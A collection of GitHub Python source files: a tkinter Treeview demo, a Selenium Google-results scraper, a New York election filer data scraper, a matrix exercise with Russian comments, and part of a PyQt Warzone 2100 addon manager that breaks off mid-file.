+{"seq_id":"28615952588","text":"from tkinter import *\nimport tkinter.ttk as tkrttk\n\nscreen = Tk()\nscreen.geometry(\"450x200\")\n\ntreetime = tkrttk.Treeview(screen)\n\ntreetime[\"columns\"] = (\"Column 2\", \"Column 3\", \"Column 4\", \"Column 5\")\n\ntreetime.column('#0', width=250, minwidth=25, stretch=NO)\ntreetime.column('Column 2', width=50, minwidth=25, stretch=NO)\ntreetime.column('Column 3', width=50, minwidth=25, stretch=NO)\ntreetime.column('Column 4', width=50, minwidth=25, stretch=NO)\ntreetime.column('Column 5', width=50, minwidth=25, stretch=NO)\n\ntreetime.heading(\"#0\", text=\"Column 1\", anchor=W)\ntreetime.heading(\"Column 2\", text=\"Column 2\", anchor=W)\ntreetime.heading(\"Column 3\", text=\"Column 3\", anchor=W)\ntreetime.heading(\"Column 4\", text=\"Column 4\", anchor=W)\ntreetime.heading(\"Column 5\", text=\"Column 5\", anchor=W)\n\n#1st LEVEL\nRow1 = treetime.insert(\"\", 1, text=\"First Row\", values=(\"B1\", \"C1\",\"D1\",\"E1\"))\nRow2 = treetime.insert(\"\", 2, text=\"Second Row\", values=(\"B1\", \"C1\", \"D1\",\"E1\"))\n#2nd LEVEL\nSBL1A = treetime.insert(Row1, \"end\", text=\"SubLevel Row 1\", values=(\"B1.1\", \"C1.1\", \"D1.1\", \"E1.1\"))\nSBL1B = treetime.insert(Row1, \"end\", text=\"SubLevel Row 2\", values=(\"B1.2\", \"C1.2\", \"D1.2\", \"E1.2\"))\n\nSBL2A = treetime.insert(Row2, \"end\", text=\"SubLevel Row 2\", values=(\"B1.1\", \"C1.1\", \"D1.1\", \"E1.1\"))\nSBL2B = treetime.insert(Row2, \"end\", text=\"SubLevel Row 2\", values=(\"B1.2\", \"C1.2\", \"D1.2\", \"E1.2\"))\n\n\n\n#======ADD PICTURES==========================\nlogo = PhotoImage(file='BSlogo512.gif').subsample(20, 20)\nSBL1C = treetime.insert(Row1, \"end\", 'pic', text=\"SubLevel Row 3\", image=logo, values=(\"B1.3\", \"C1.3\", \"D1.3\", \"E1.3\"))\n\n\ntreetime.pack(side=TOP, fill=X)\n\n\nscreen.mainloop()\n\n\n","repo_name":"JT31WEB/AppsInPython","sub_path":"Treeview/tree.py","file_name":"tree.py","file_ext":"py","file_size_in_byte":1658,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"27251713643","text":"from selenium import webdriver\nfrom selenium.webdriver.chrome.service import Service \nimport time #for sleep\nfrom selenium.webdriver.common.keys import Keys #allows us to use enter and esc keys in search bar etc\nfrom selenium.webdriver.common.by import By #need to search\nfrom selenium.webdriver.support.wait import WebDriverWait #need to wait before pages are loaded to search\nfrom selenium.webdriver.support import expected_conditions as EC #need to wait before pages are loaded to search\nfrom tkinter import * #need tkinter to get user input and store into a variable to pass thru the google search bar\nfrom selenium.common.exceptions import StaleElementReferenceException #FOR THE STALEELEMENTREFERENCEEXCEPTION\n\n#what code is doing: the search query asks for user input and then sends that into google, then in the search and print, we get the total list of article titles, and then we TRY to loop through them, and we make sure we are not revisiting the same\n#url by adding it into a list and then checking if our url we are on is in that list. BUT, getting the url returns something like \n#and not the actual http url\n\n\n#WHAT I CAN DO IS, I CAN JUST OPEN A NEW TAB AND THEN IN THAT TAB I CAN PRINT WHAT I NEED AND THEN CLOSE IT, AND THEN NAVIGATE BACK TO THE FIRST TAB AND LOOP THROUGH THAT WAY \n\n\n\n\n\n\n\n\n\n#get user input for what to google search -> get article titles, article urls, article info and store them in a csv file -> to make sure we not revisiting the same site we can store the url into a set and only continue if its not in there\n\n\n#uses tkinter to get user input during runtime to search, gets input and stores it into search box variable, and then we search for said variable.\n#this in turn would cause us to loop thru each of the articles and then scrape the data from them \n\n#keep a set to keep track of sites we visited so we don't revisit the same site\ndriver = webdriver.Chrome() # Open a new Chrome window\n\n\ndef searchQuery(): \n query = entry.get() # Get the user's query from the text box\n # driver = webdriver.Chrome() # Open a new Chrome window\n driver.get('https://www.google.com/') # Navigate to the Google home page\n search_box = driver.find_element(By.CLASS_NAME, 'gLFyf') #get the google search bar\n search_box.send_keys(query) # Type the user's query into the search box\n search_box.submit() # Submit the search\n articlesTitle = driver.find_elements(By.CLASS_NAME, 'LC20lb.MBeuO.DKV0Md') #need to have . instead of space with css\n\n return articlesTitle\n\n\n#time.sleep(5) # add a delayso page doesnt instantly shut off \n\n#articlesTitle = driver.find_elements(By.CLASS_NAME, \"LC20lb MBeuO DKV0Md\") #LC20lb MBeuO DKV0Md is the class name of the articles that are returned in google chrome\n#articlesTitle = WebDriverWait(driver, 5).until(\n #EC.presence_of_all_elements_located((By.CLASS_NAME, \"LC20lb MBeuO DKV0Md\"))) #wait 10 seconds until all articles with the specified class name are present \n\ndef scrapeSite():\n# # Scrape data from the current page\n# # This function can be modified to extract the data that you need\n print(\"article url:\", driver.current_url)\n print(\"ARTICLE TITLE:\", driver.title) #gets the article title while we are inside the article, don't need to get it while we are outside anymore\n #print(driver.page_source)\n\n# def openSiteNewTab():\n# action = ActionChains(driver)\n# action.context_click(article).send_keys(Keys.ARROW_DOWN).send_keys(Keys.ARROW_DOWN).send_keys(Keys.RETURN).perform()\n\n\n#get all the articles in a list and loop thru it using for i in range(len(listofarticles))\n\ndef search_and_print_title(): #PRINTING THE TITLES WORK BUT WHEN I TRY AND LOOP THRU THE SITES IT GIVES ME PROBLEMS\n visited_urls = set()\n articlesTitle = searchQuery()\n wait = WebDriverWait(driver, 10) # wait up to 10 seconds for the articles to be present NEW\n articlesTitle = wait.until(EC.presence_of_all_elements_located((By.CLASS_NAME, 'LC20lb.MBeuO.DKV0Md'))) #NEW\n num_articles = len(articlesTitle) #can do here or in the loop\n print(\"NUMBER OF ARTICLES ON PAGE:\", num_articles)\n\n print(\"error 1 stopped before loop\")\n for i in range(len(articlesTitle)): #ITERATE THRU THE LENGTH OF ARTICLES\n try: \n article = articlesTitle[i] #GET ONE ARTICLE i\n time.sleep(10) \n article.click() #CLICK ON THE ARTICLE AND GET THE URL, IF THE URL IS IN OUR VISITED URLS THEN CONTINUE i++, IF IT IS NOT THEN GET THE DATA FROM THE ELSE STATEMENT\n time.sleep(10) \n url = driver.current_url\n print(\"error 2\")\n if url in visited_urls:\n print(\"error 3 driver already in visited url\")\n continue\n else: #I WANT TO OPEN THE PAGE IN ANOTHER PAGE \n url = driver.current_url\n scrapeSite()\n #wait.until(EC.url_changes(driver.current_url)) # wait for the page to load NEW\n print(\"error 7\")\n \n driver.back()\n print(\"page did not fully load yet\")\n print(visited_urls)\n print(\"error 8\") #this doesn't load until the web page is done loading\n time.sleep(3) #sleep to wait for the articles to load again\n except StaleElementReferenceException:\n # The element is no longer attached to the page, retry the action\n continue\n \n\n\n\n\nroot = Tk() # Create the main window\nroot.title('Google Search')\n\nlabel = Label(root, text='Enter your search query:')\nlabel.pack()\n\nentry = Entry(root, width=50)\nentry.pack()\n\nbutton = Button(root, text='Search', command=search_and_print_title) #needs to be search and print to print the article titles\nbutton.pack()\n\nroot.mainloop() # Start the main loop BE CAREFUL PUTTING SLEEPS OUTSIDE OF A DEF BECAUSE THE LOOP WILL NOT WORK THEN\n\n","repo_name":"mnothman/webscraper2.0","sub_path":"main3.py","file_name":"main3.py","file_ext":"py","file_size_in_byte":6031,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"16891942672","text":"import requests\nimport json\nfrom datetime import datetime\nfrom nys.medium import *\n\n\ndef get(url, payload=None):\n try:\n if payload is not None:\n req = requests.post(url, data=payload)\n else:\n req = requests.post(url)\n print(req.text)\n response = {}\n for item in json.loads(req.text):\n response[item['Text']] = int(item['Value'])\n response = dict(sorted(response.items(), key=lambda obj: obj[1]))\n return response\n except requests.exceptions.RequestException as e:\n raise SystemExit(e)\n except ValueError as e:\n print(e)\n\n\n\ndef get_counties():\n url = \"https://publicreporting.elections.ny.gov/ActiveDeactiveFiler/GetCounty\"\n return get(url)\n\n\ndef get_offices(govt_level: GovtLevel):\n url = \"https://publicreporting.elections.ny.gov/ActiveDeactiveFiler/GetOffice\"\n payload = {\n \"lstUCOfficeType\": str(govt_level.value),\n \"lstUCCounty\": \"\",\n \"lstUCMuncipality\": \"\"\n }\n print(get(url, payload))\n return Enum('Office', get(url, payload))\n\n\ndef get_committees():\n url = \"https://publicreporting.elections.ny.gov/ActiveDeactiveFiler/GetCommitteeType\"\n return Enum('Committee', get(url))\n\n\ndef get_municipality(county_id):\n url = \"https://publicreporting.elections.ny.gov/ActiveDeactiveFiler/GetMunicipality\"\n payload = {\n \"lstUCCounty\": str(county_id)\n }\n return get(url, payload)\n\n\ndef get_filers(search: Search):\n url = \"https://publicreporting.elections.ny.gov/ActiveDeactiveFiler/GetSearchListOfFilersData\"\n headers = {\n \"Accept\": \"application/json; charset=utf-8\",\n \"Content-Type\": \"application/json; charset=utf-8\",\n \"User-Agent\": \"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0\",\n }\n\n payload = {\n \"lstOfficeType\": str(search.govt_level.value),\n \"lstCounty\": \"-+Select+-\",\n \"lstMunicipality\": \"-+Select+-\",\n \"lstStatus\": search.status.name.capitalize(),\n \"lstFilerType\": \"\", # needs to be removed and handled for ALL\n \"lstOffice\": \"-+Select+-\",\n \"lstDistrict\": \"-+Select+-\",\n \"lstDateType\": search.registered.name.capitalize().replace(\"_\", \"+\"),\n \"ddlCommitteeType\": \"-+Select+-\",\n \"txtDateFrom\": \"\",\n \"txtDateTo\": \"\"\n }\n\n if search.filer != Filer.ALL:\n payload['lstFilerType'] = search.filer.name.capitalize()\n else:\n search.update('filer', Filer.CANDIDATE)\n f_1 = get_filers(search)\n search.update('filer', Filer.COMMITTEE)\n f_2 = get_filers(search)\n for item in f_2:\n f_1.append(item)\n return f_1\n\n if search.govt_level == GovtLevel.COUNTY:\n if search.county_id is not None:\n # this needs to pass a numerical value. get_counties returns an enum which has the values.\n payload['lstCounty'] = str(search.county_id)\n if search.municipality_id is not None:\n # this needs to pass a numerical value. get_municipalities returns a dict which has the values.\n payload['lstMunicipality'] = str(search.municipality_id)\n elif search.municipality.upper() == \"ALL\":\n payload['lstMunicipality'] = str(search.municipality).capitalize()\n # this shouldn't occur as the default value is ALL.\n else:\n print(search.municipality)\n raise ValueError(\"Select a municipality.\")\n elif search.govt_level == GovtLevel.STATE:\n pass\n if search.registered == Registered.DATE_RANGE:\n if search.date_range_data is not None:\n # temporary, we should later prompt the user that they need to fix it.\n date = search.date_range_data\n if date['dateFrom'].strftime('%m/%d/%Y') > date['dateTo'].strftime('%m/%d/%Y'):\n payload['txtDateTo'] = date['dateFrom'].strftime('%m/%d/%Y')\n payload['txtDateFrom'] = date['dateTo'].strftime('%m/%d/%Y')\n else:\n payload['txtDateFrom'] = date['dateFrom'].strftime('%m/%d/%Y')\n payload['txtDateTo'] = date['dateTo'].strftime('%m/%d/%Y')\n else:\n # raise error saying that one of them is missing.\n pass\n\n print(payload)\n payload = \"&\".join([f\"{key}={value}\" for key, value in payload.items()]).replace(\" \", \"+\")\n with requests.Session() as session:\n session.headers = headers\n rew = session.post(url, headers=headers, params=payload)\n return json.loads(rew.text)['aaData']\n\n\n\n\nd = datetime(year=2010, month=8, day=1)\nd_t = datetime(year=2020, month=8, day=1)\n#print(get_filers(GovtLevel.STATE, Status.ACTIVE, d, d_t, Filer.CANDIDATE))\n","repo_name":"Horrgs/politics","sub_path":"nys/scrape.py","file_name":"scrape.py","file_ext":"py","file_size_in_byte":4746,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"30717716776","text":"# Найти максимальный элемент среди минимальных элементов столбцов матрицы.\n\nimport random\nMIN_ITEM = 0\nMAX_ITEM = 1000\nLINE = 10\nCOLUMN = 10\nmatrix = [[random.randint(MIN_ITEM, MAX_ITEM) for j in range(COLUMN)] for i in range(LINE)]\nmin_column = matrix[0]\n\nprint(f'Матрица случайных элементов\\n{\"*\"*50}')\nfor line in matrix:\n for j, el in enumerate(line):\n min_column[j] = el if el < min_column[j] else min_column[j]\n print(f'{el:>5}', end='')\n print()\n\nprint(f'{\"*\"*50}\\n Минимальные значения столбцов:')\nmax_el = min_column[0]\nfor el in min_column:\n max_el = el if el > max_el else max_el\n print(f'{el:>5}', end='')\nprint()\nprint(f'{\"*\"*50}')\nprint(f'Максимальный элемент среди минимальных элементов столбцов матрицы: {max_el}')\n\n","repo_name":"RSV48/algorithms","sub_path":"tassk_03_09.py","file_name":"tassk_03_09.py","file_ext":"py","file_size_in_byte":933,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"1972672745","text":"import re\nimport os\nimport sys\nimport shutil\nimport zipfile\nimport subprocess\nfrom PyQt4 import QtGui, QtCore\nfrom moodloader_ui import MoodLoader, PropertiesDialog\n\nclass MainWindow(MoodLoader):\n \"\"\"\n Subclass the GUI for the main window. We implement '__init__()' here, and\n also set up connections for the widgets.\n \"\"\"\n\n def __init__(self):\n super(MoodLoader, self).__init__()\n self.initUI()\n\n ### Create some system variables ###\n self.config_dir = self.get_config_path()\n self.open_dialog_dir = os.path.expanduser(\"~\")\n self.wz_binary = self.get_binary_path(False)\n\n ### Set up connections ###\n self.install_map_button.clicked.connect(lambda: self.install_addon(\"/maps/\"))\n self.install_cam_mod_button.clicked.connect(lambda: self.install_addon(\"/mods/campaign/\"))\n self.install_global_mod_button.clicked.connect(lambda: self.install_addon(\"/mods/global/\"))\n self.install_multiplayer_mod_button.clicked.connect(lambda: self.install_addon(\"/mods/multiplay/\"))\n\n ### Set up the QListView's\n self.populate_listviews()\n for listview in [self.maps_listview, self.cam_mods_listview, self.global_mods_listview, self.multiplayer_mods_listview]:\n listview.setContextMenuPolicy(QtCore.Qt.CustomContextMenu)\n\n ### Connect each QListView to send its addon type to 'self.listview()'\n\n # Some helper lambda's\n check_if_maps_item = lambda point: self.maps_listview.indexAt(point).isValid()\n check_if_global_item = lambda point: self.global_mods_listview.indexAt(point).isValid()\n check_if_cam_item = lambda point: self.cam_mods_listview.indexAt(point).isValid()\n check_if_multiplay_item = lambda point: self.multiplayer_mods_listview.indexAt(point).isValid()\n\n self.maps_listview.customContextMenuRequested.connect(lambda point:\n self.listview_menu(\"/maps/\")\n if check_if_maps_item(point) else None)\n self.cam_mods_listview.customContextMenuRequested.connect(lambda point:\n self.listview_menu(\"/mods/campaign/\")\n if check_if_cam_item(point) else None)\n self.global_mods_listview.customContextMenuRequested.connect(lambda point:\n self.listview_menu(\"/mods/global/\")\n if check_if_global_item(point) else None)\n self.multiplayer_mods_listview.customContextMenuRequested.connect(lambda point:\n self.listview_menu(\"/mods/multiplay/\")\n if check_if_multiplay_item(point) else None)\n\n\n def get_config_path(self):\n \"\"\"\n Get the path of the config folder of the latest version of WZ on the\n users computer.\n \"\"\"\n matching_dir_versions = [float(re.findall(r'\\d+\\.\\d+', directory)[0])\n for directory in os.listdir(os.path.expanduser(\"~\"))\n if re.match(\".warzone2100-\\d+\\.\\d+\", directory)]\n\n if len(matching_dir_versions) >= 1:\n return(os.path.expanduser(\"~\") + \"/.warzone2100-\" + str(max(matching_dir_versions)))\n else:\n self.statusbar.showMessage(\"No config folder found.\")\n return(\"\")\n\n\n def get_binary_path(self, assign):\n \"\"\"\n Get the path of the WZ binary. The 'assign' boolean specifies whether we\n assign 'binary_path' to an existing 'self.wz_binary' variable or just return it.\n The 'assign' field should always be True when called after the program starts\n since the 'self.wz_binary' field is already existent.\n If a config file exists, we read from that, else we write the 'binary_path' to\n a new one if the user chooses a binary.\n \"\"\"\n config_file = os.path.expanduser(\"~\") + \"/.moodloader\"\n\n if os.path.isfile(config_file) and os.path.getsize(config_file) > 0:\n config_file = open(config_file)\n binary_path = config_file.readline()\n config_file.close()\n else:\n binary_path = shutil.which(\"warzone2100\")\n\n # If 'shutil.which()' can't find the binary, then we prompt the user for it\n if binary_path == None:\n confirmation_dialog = QtGui.QMessageBox.question(self, \"Missing Path\",\n \"Moodloader cannot find the path of Warzone, would you like to set it manually? If you don't you will not be able to run addons from Moodloader.\",\n QtGui.QMessageBox.No,\n QtGui.QMessageBox.Yes)\n if confirmation_dialog == QtGui.QMessageBox.Yes:\n binary_path = QtGui.QFileDialog.getOpenFileName(self, \"Select Binary\",\n os.path.expanduser(\"~\"))\n # Write the users settings to 'config_file'\n config_file = open(config_file, \"w\")\n config_file.write(binary_path)\n config_file.close()\n\n if assign:\n self.wz_binary = binary_path\n elif not assign:\n return(binary_path)\n\n\n def install_addon(self, addon_type):\n \"\"\"\n Install an addon to the appropriate folder.\n Note that even though the name of the argument is 'addon_type', it's actually\n the folder name the map is to be installed into (i.e. '/maps/' for a map).\n \"\"\"\n addon_path = QtGui.QFileDialog.getOpenFileName(self, \"Select Addon\", self.open_dialog_dir, \"WZ Addons (*.wz);; All files (*.*)\")\n addon_install_path = self.config_dir + addon_type\n addon_name = os.path.basename(addon_path)\n\n # Check that all prerequisites are covered before installing\n if not addon_path:\n return\n elif not os.path.isdir(addon_install_path):\n # Show a warning dialog if Moodloader is underpriveleged\n try:\n os.makedirs(addon_install_path)\n except PermissionError as error:\n QtGui.QMessageBox.warning(self, \"Error\", str(error))\n return\n elif os.path.isfile(addon_install_path + addon_name):\n self.statusbar.showMessage(\"Addon already installed.\")\n return\n\n shutil.copy(addon_path, addon_install_path)\n self.populate_listviews()\n self.statusbar.showMessage(\"Addon installed.\")\n self.open_dialog_dir = os.path.dirname(addon_path) # Note that we reset 'self.open_dialog_dir' to the last used folder\n\n\n def delete_addons(self, addon_type):\n \"\"\"\n As abundantly clear from the name, this method deletes all the currently\n selected addons.\n \"\"\"\n # 'get_file_name' gets the actual map name from the tooltip passed to it,\n # it's meant to work on the tooltips of map-mods, which are HTML formatted\n get_file_name = lambda addon: re.search(\"[0-9](\\S+?).wz\", addon).group()\n addon_folder = self.config_dir + addon_type\n selected_addons = []\n\n # Populate 'selected_addons' with the users selection\n if addon_type == \"/maps/\":\n selected_addons = [get_file_name(addon.data(role=3)) for addon in self.maps_listview.selectedIndexes()]\n elif addon_type == \"/mods/campaign/\":\n selected_addons = [addon.data(role=3) for addon in self.cam_mods_listview.selectedIndexes()]\n elif addon_type == \"/mods/global/\":\n selected_addons = [addon.data(role=3) for addon in self.global_mods_listview.selectedIndexes()]\n elif addon_type == \"/mods/multiplay/\":\n selected_addons = [addon.data(role=3) for addon in self.multiplayer_mods_listview.selectedIndexes()]\n\n # Make accurate messages to display, and get confirmation from the user before deleting\n if len(selected_addons) == 1:\n dialog_string = \"Are you sure you want to delete this addon?\"\n statusbar_message = \"Addon successfully deleted.\"\n else:\n dialog_string = \"Are you sure you want to delete these addons?\"\n statusbar_message = \"Addons successfully deleted.\"\n confirmation_dialog = QtGui.QMessageBox.question(self, \"Confirm Delete\",\n dialog_string,\n QtGui.QMessageBox.No,\n QtGui.QMessageBox.Yes)\n if confirmation_dialog == QtGui.QMessageBox.Yes:\n for addon in selected_addons: os.remove(addon_folder + addon)\n self.populate_listviews()\n self.statusbar.showMessage(statusbar_message)\n\n\n def run_addons(self, wz_flag):\n \"\"\"\n As the name implies, this runs all selected addons.\n Note that we use 'subprocess.Popen' so as not to block the GUI.\n \"\"\"\n args = [self.wz_binary]\n\n # Retrieve the tooltips (which are the filenames) from the selected items\n if wz_flag == \"--mod_ca=\":\n selected_addons = [mod.data(role=3) for mod in self.cam_mods_listview.selectedIndexes()]\n for mod in selected_addons: args.append(\"--mod_ca={0}\".format(mod))\n elif wz_flag == \"--mod=\":\n selected_addons = [mod.data(role=3) for mod in self.global_mods_listview.selectedIndexes()]\n for mod in selected_addons: args.append(\"--mod={0}\".format(mod))\n elif wz_flag == \"--mod_mp=\":\n selected_addons = [mod.data(role=3) for mod in self.multiplayer_mods_listview.selectedIndexes()]\n for mod in selected_addons: args.append(\"--mod_mp={0}\".format(mod))\n\n subprocess.Popen(args)\n\n\n def condense_addon(self, addon_name):\n \"\"\"\n A little helper function to pretty-ify output for the QListView's.\n \"\"\"\n # The hash length is always 64 chars, so by this we check if one is in the name\n if len(addon_name) > 64:\n addon_name = re.findall(\".*-\", addon_name)[0]\n return(addon_name[:-1]) # Removes the trailing dash before returning\n else:\n return(addon_name.replace(\".wz\", \"\"))\n\n\n def check_addon(self, addon_path):\n \"\"\"\n Checks the addon for validity. If the addon is a map mod we return 1,\n and if its file layout is mutilated we return 2, else we return 0.\n \"\"\"\n forbidden_files = ['Thumbs.db', 'Desktop.ini', '.DS_Store']\n forbidden_extensions = ['.bak', '.tmp', '.wz', '.zip', '.js', '.png']\n required_extensions = ['.gam', '.bjo', '.map', '.ttp', '.lev']\n\n with zipfile.ZipFile(addon_path) as addon:\n addon_files = addon.namelist()\n addon_file_extensions = [os.path.splitext(path)[1] for path in addon_files]\n\n # Make sure all cases are covered\n if any(\"\\\\\" in file for file in addon_files):\n return(2)\n elif not (all(ext in addon_file_extensions for ext in required_extensions) and not \\\n any(ext in addon_file_extensions for ext in forbidden_extensions) and not \\\n any(illegal in addon_files for illegal in forbidden_files)):\n return(1)\n else:\n return(0)\n\n\n def populate_listviews(self):\n \"\"\"\n Gets a list of all installed addons and populates their respective\n QListView's with them.\n \"\"\"\n addon_size = QtCore.QSize(50, 15) # We need this to elide the text\n natural_sort = lambda addon: (float(re.split(\"([0-9]+)\", addon)[1])) # A key to sort the maps properly\n maps_dir = self.config_dir + \"/maps/\"\n cam_mods_dir = self.config_dir + \"/mods/campaign/\"\n global_mods_dir = self.config_dir + \"/mods/global/\"\n multiplayer_mods_dir = self.config_dir + \"/mods/multiplay/\"\n \n # Clear all existing items\n for model in [self.map_data_model, self.cam_data_model, self.global_data_model, self.multiplayer_data_model]:\n model.clear()\n\n for directory in [maps_dir, cam_mods_dir, global_mods_dir, multiplayer_mods_dir]:\n if os.path.isdir(directory):\n if directory == maps_dir:\n data_model = self.map_data_model\n elif directory == cam_mods_dir:\n data_model = self.cam_data_model\n elif directory == global_mods_dir:\n data_model = self.global_data_model\n else:\n data_model = self.multiplayer_data_model\n\n addon_list = [addon for addon in os.listdir(directory)\n if os.path.isfile(directory + addon) and addon.__contains__(\".wz\")]\n if directory == maps_dir: addon_list.sort(key=natural_sort) # We only sort maps\n\n # Create the items to append to each QListView\n for addon in addon_list:\n addon_item = QtGui.QStandardItem(self.condense_addon(addon))\n addon_item.setSizeHint(addon_size)\n addon_item.setToolTip(addon)\n addon_item.setEditable(False)\n # Mark all map-mods\n if directory == maps_dir:\n if self.check_addon(directory + addon) == 1:\n addon_item.setForeground(QtCore.Qt.red)\n addon_item.setToolTip(\"